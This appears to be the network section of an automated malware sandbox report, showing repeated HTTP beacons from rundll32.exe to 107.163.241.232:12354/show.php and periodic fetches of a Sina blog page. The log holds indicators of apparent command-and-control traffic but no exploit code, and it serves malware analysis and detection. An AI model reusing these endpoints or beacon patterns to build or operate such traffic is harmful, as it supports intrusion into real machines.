Dec 11, 2024 16:24:37.668656111 CET	1.1.1.1	192.168.2.4	0xcdc0	No error (0)	blog.sina.com.cn	blogx.sina.com.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:24:37.668656111 CET	1.1.1.1	192.168.2.4	0xcdc0	No error (0)	blogx.sina.com.cn		202.108.0.52	A (IP address)	IN (0x0001)	false
Dec 11, 2024 16:26:50.331423044 CET	1.1.1.1	192.168.2.4	0x4484	No error (0)	blog.sina.com.cn	blogx.sina.com.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 16:26:50.331423044 CET	1.1.1.1	192.168.2.4	0x4484	No error (0)	blogx.sina.com.cn		202.108.0.52	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

blog.sina.com.cn

107.163.241.232:12354

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49753	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:34.035761118 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49754	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:34.045511961 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49771	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:36.399374008 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49772	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:36.399468899 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49780	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:37.807125092 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:39.390270948 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:39 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49788	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:38.640598059 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49790	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:38.764035940 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49805	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:40.412738085 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49807	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:40.525108099 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49808	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:40.528368950 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:42.096566916 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:41 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49823	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:42.721698999 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49826	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:42.859102011 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49842	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:44.435282946 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49844	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:44.543629885 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:46.116806984 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:45 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49845	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:44.546982050 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49860	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:46.678975105 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49861	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:46.799393892 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49873	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:48.632174015 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49876	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:48.760859013 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49883	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:49.443798065 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:24:51.010355949 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:50 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49895	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:50.870852947 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49896	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:51.397738934 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49910	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:52.603718042 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49912	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:52.711555958 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:24:54.279504061 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:54 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49913	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:52.711688042 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49930	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:54.843027115 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49932	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:54.955281973 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49947	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:56.846805096 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49949	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:56.850697041 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49950	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:56.850830078 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:24:58.345418930 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:58 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49969	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:59.011954069 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49971	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:59.116897106 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49985	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:00.617780924 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49987	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:00.726824045 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49988	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:00.727241039 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:02.299369097 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:02 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50005	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:02.856947899 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50008	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:02.980178118 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50024	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:04.621783972 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50026	202.108.0.52	80	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:04.734020948 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001f.32982510.6759aec0.58c28a68; U_TRS2=0000001f.32a12510.6759aec0.40768b16
Dec 11, 2024 16:25:06.308722973 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:06 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50027	107.163.241.232	12354	6644	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
